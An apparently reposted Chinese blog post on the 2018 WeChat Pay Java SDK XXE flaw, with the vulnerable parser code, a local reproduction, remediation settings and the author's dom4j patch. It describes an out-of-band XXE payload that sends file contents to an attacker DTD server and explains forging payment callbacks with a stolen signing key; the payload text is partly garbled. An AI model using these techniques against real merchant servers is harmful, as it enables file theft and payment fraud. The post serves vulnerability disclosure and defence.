微信支付SDK XXE漏洞 验证复现【转】

微信官方的修改建议:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
本文分为三部分,前两部分是引用转载文章,最后一部分是说我公司的修改详细。

一、今天公司收到漏洞预警,微信支付SDK存在XXE漏洞,下载到本地验证了一下

漏洞信息来源
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

漏洞描述
微信支付提供了一个接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品

影响范围
使用微信提供的java SDK,WxPayAPI_JAVA_v3 进行支付开发的商家

[Detail]

   The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1

   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

漏洞利用细节
将WxPayAPI_JAVA_v3.zip下载到本地,导入到IntelliJ IDEA

src/main/java/com/github/wxpay/sdk/WXPayUtil文件

 /**
     * XML格式字符串转换为Map
     *
     * @param strXML XML字符串
     * @return XML数据转换后的Map
     * @throws Exception
     */
    public static Map xmlToMap(String strXML) throws Exception {
        try {
            Map data = new HashMap();
            DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();
            .........
    }

可以看出xmlToMapy方法用作将string转换成map,所用的xml解析器直接处理了xml字符串
通常情况下,xml解析器可以引用外部实体,如果构造恶意的xml文件,如下:



    
]>

&xxe;

xml解析器可读取到我指定的文件 c:/windows/win.ini 的信息

在本地验证过程中,将 /test/java/com/github/wxpay/sdk/TestWXPay文件test001方法中的xmlStr字符串替换为上述XML, 可成功读取win.ini文件

XXE漏洞修复

防护思路:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);  //防止可能的SSRF
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false); 
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities",false); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

实际的防护建议1:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    try {
      // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
      String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
      dbf.setFeature(FEATURE, true);

        catch (ParserConfigurationException e) {
            // This should catch a failed setFeature feature
            logger.info("ParserConfigurationException was thrown. The feature '" +
                        FEATURE +
                        "' is probably not supported by your XML processor.");
            ...
        }
        catch (SAXException e) {
            // On Apache, this should be thrown when disallowing DOCTYPE
            logger.warning("A DOCTYPE was passed into the XML document");
            ...
        }
        catch (IOException e) {
            // XXE that points to a file that does not exist
            logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
            ...
        }

实际防护建议2:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    try {
      // 如果不能完全禁用DTDs,最少采取以下措施
      FEATURE = "http://xml.org/sax/features/external-general-entities";
      dbf.setFeature(FEATURE, false);

      FEATURE = "http://xml.org/sax/features/external-parameter-entities";
      dbf.setFeature(FEATURE, false);

      // and these as well, per Timothy Morgan 2014 paper: "XML Schema, DTD, and Entity Attacks" (see reference below)
      dbf.setXIncludeAware(false);
      dbf.setExpandEntityReferences(false);

      // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then ensure the entity settings are disabled (as shown above) and beware that SSRF attacks(http://cwe.mitre.org/data/definitions/918.html) and denial of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."
      ...

        catch (ParserConfigurationException e) {
            // This should catch a failed setFeature feature
            logger.info("ParserConfigurationException was thrown. The feature '" +
                        FEATURE +
                        "' is probably not supported by your XML processor.");
            ...
        }
        catch (SAXException e) {
            // On Apache, this should be thrown when disallowing DOCTYPE
            logger.warning("A DOCTYPE was passed into the XML document");
            ...
        }
        catch (IOException e) {
            // XXE that points to a file that doesn't exist
            logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
            ...
        }

二、再看一篇也是转载来的:

一、背景

昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为,其中就包括众多媒体所宣传的“0元也能买买买”。

漏洞报告地址;http://seclists.org/fulldisclosure/2018/Jul/3

二、漏洞原理

1. XXE漏洞

此次曝出的漏洞属于XXE漏洞,即XML外部实体注入(XML External Entity Injection)。

XML文档除了可以包含声明和元素以外,还可以包含文档类型定义(即DTD);如下图所示。

微信支付SDK XXE漏洞 验证复现【转】_第1张图片
image

在DTD中,可以引进实体,在解析XML时,实体将会被替换成相应的引用内容。该实体可以由外部引入(支持http、ftp等协议,后文以http为例说明),如果通过该外部实体进行攻击,就是XXE攻击。

可以说,XXE漏洞之所以能够存在,本质上在于在解析XML的时候,可以与外部进行通信;当XML文档可以由攻击者任意构造时,攻击便成为可能。在利用XXE漏洞可以做的事情当中,最常见最容易实现的,便是读取服务器的信息,包括目录结构、文件内容等;本次微信支付爆出的漏洞便属于这一种。

2. 微信支付漏洞

本次漏洞影响的范围是:在微信支付异步回调接口中,使用微信支付SDK进行XML解析的应用。注意这里的SDK是服务器端的SDK,APP端使用SDK并不受影响。

SDK下载地址如下(目前微信官方宣传漏洞已修复):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK中导致漏洞的代码是WXPayUtil工具类中的xmlToMap()方法:

微信支付SDK XXE漏洞 验证复现【转】_第2张图片
image

如上图所示,由于在解析XML时没有对外部实体的访问做任何限制,如果攻击者恶意构造xml请求,便可以对服务器进行攻击。下面通过实例介绍攻击的方法。

3. 攻击复现

下面在本机环境下进行复现。

假设本地的web服务器127.0.0.1:8080中存在POST接口:/wxpay/callback,该接口中接收xml字符串做参数,并调用前述的WXPayUtil.xmlToMap(strXml)对xml参数进行解析。此外,/etc/password中存储了重要的密码数据(如password1234)。

攻击时构造的请求如下:

微信支付SDK XXE漏洞 验证复现【转】_第3张图片
image

其中xml内容如下:

version="1.0" encoding="utf-8"?>

root [

% xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">

%xxe;

]>

其中/etc/password为要窃取的对象,http://127.0.0.1:9000/xxe.dtd为攻击者服务器中的dtd文件,内容如下:

% shell "">

%shell;

%upload;

通过xml+dtd文件,攻击者便可以的服务器http://127.0.0.1:9000中会收到如下请求:

http://127.0.0.1:9000/evil/password1234

这样,攻击者便得到了/etc/password文件的内容。

在本例中,攻击者窃取了/etc/password文件中的内容,实际上攻击者还可以获取服务器中的目录结构以及其他文件,只要启动web应用的用户具有相应的读权限。如果获取的信息比较复杂,如包含特殊符号,无法直接通过http的URL发送,则可以采用对文件内容进行Base64编码等方法解决。

三、漏洞的解决

解决该漏洞的原理非常简单,只要禁止解析XML时访问外部实体即可。

漏洞曝出以后,微信进行了紧急修复,一方面是更新了SDK,并提醒开发者使用最新的SDK;SDK中修复代码如下:

image

加入了如下两行代码:

documentBuilderFactory.setExpandEntityReferences(``false``);

documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, ``true``);

此外,微信官方也给出了关于XXE漏洞的最佳安全实践,可以参考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

笔者本人使用上述方案中建议的如下代码修复了该漏洞:

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

documentBuilderFactory.setFeature(``"http://apache.org/xml/features/disallow-doctype-decl"``, ``true``);

DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();

……

|

四、扩展与反思

1. 危害不只是“0元也能买买买”

在很多媒体的报道中,强调该漏洞的风险在于攻击者可以不支付也可以获得商品。攻击者在通过上述漏洞获得微信支付的秘钥以后,有不止一种途径可以做到不支付就获得商品:例如,攻击者首先在系统中下单,获得商户订单号;然后便可以调用微信支付的异步回调,其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行MD5获得;这样攻击者的异步回调就可以通过应用服务器的签名认证,从而获得商品。不过,在很多有一定规模的购物网站(或其他有支付功能的网站),会有对账系统,如定时将系统中的订单状态与微信、支付宝的后台对比,如果出现不一致可以及时报警并处理,因此该漏洞在这方面的影响可能并没有想象的那么大。

然而,除了“0元也能买买买”,攻击者可以做的事情还有很多很多;理论上来说,攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等,可以根据需要进行进一步破坏。

2. 漏洞不限于微信支付SDK

虽然微信支付曝出该漏洞受到了广泛关注,但该漏洞绝不仅仅存在于微信支付中:由于众多XML解析器默认不会禁用对外部实体的访问,因此应用的接口如果有以下几个特点就很容易掉进XXE漏洞的坑里:

(1)接口使用xml做请求参数

(2)接口对外公开,或容易获得:例如一些接口提供给外部客户调用,或者接口使用http很容易抓包,或者接口比较容易猜到(如微信支付的异步回调接口)

(3)接口中解析xml参数时,没有禁用对外部实体的访问

建议大家最好检查一下自己的应用中是否有类似的漏洞,及时修复。

3. xml与json

xml 与 json是系统间交互常用的两种数据格式,虽然很多情况下二者可以互换,但是笔者认为,json 作为更加轻量级更加纯粹的数据格式,更适合于系统间的交互;而xml,作为更加重量级更加复杂的数据格式,其 DTD 支持自定义文档类型,在更加复杂的配置场景下有着更好的效果,典型的场景如 spring 相关的配置。

4. 题外话:微信支付的签名认证

在前面曾经提到,应用中存储的秘钥一旦泄露,攻击者便可以完全绕过签名认证,这是因为微信支付使用的是对称式的签名认证:微信方和应用方,使用相同的秘钥对相同的明文进行MD5签名,只要应用方的秘钥泄露,签名认证就完全成了摆设。

在这方面支付宝的做法更规范也更安全:支付宝为应用生成公私钥对,公钥由应用方保存,私钥由支付宝保存;在回调时,支付宝使用私钥进行签名,应用方使用公钥进行验证;这样只要支付宝保存的私钥不泄露,攻击者只有公钥则难以通过签名认证。

三、我们的修改
由于我们使用的是dom4j的类SAXReader来解析xml的,详细代码见下:
修改前:

/**
     * 转XMLmap
     * @author  
     * @param xmlBytes
     * @param charset
     * @return
     * @throws Exception
     */
    public static Map toMap(byte[] xmlBytes, String charset) throws Exception {
        SAXReader reader = new SAXReader(false);
        InputSource source = new InputSource(new ByteArrayInputStream(xmlBytes));
        source.setEncoding(charset);
        Document doc = reader.read(source);
        Map params = XmlUtils.toMap(doc.getRootElement());
        return params;
    }

修改后:

/**
     * 转XMLmap
     * @author  
     * @param xmlBytes
     * @param charset
     * @return
     * @throws Exception
     */
    public static Map toMap(byte[] xmlBytes, String charset) throws Exception {
        SAXReader reader = new SAXReader(false);
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        reader.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

        InputSource source = new InputSource(new ByteArrayInputStream(xmlBytes));
        source.setEncoding(charset);
        Document doc = reader.read(source);
        Map params = XmlUtils.toMap(doc.getRootElement());
        return params;
    }

待验证,是否已解除漏洞警报,可以见文章最前的官方网站。

你可能感兴趣的:(微信支付SDK XXE漏洞 验证复现【转】)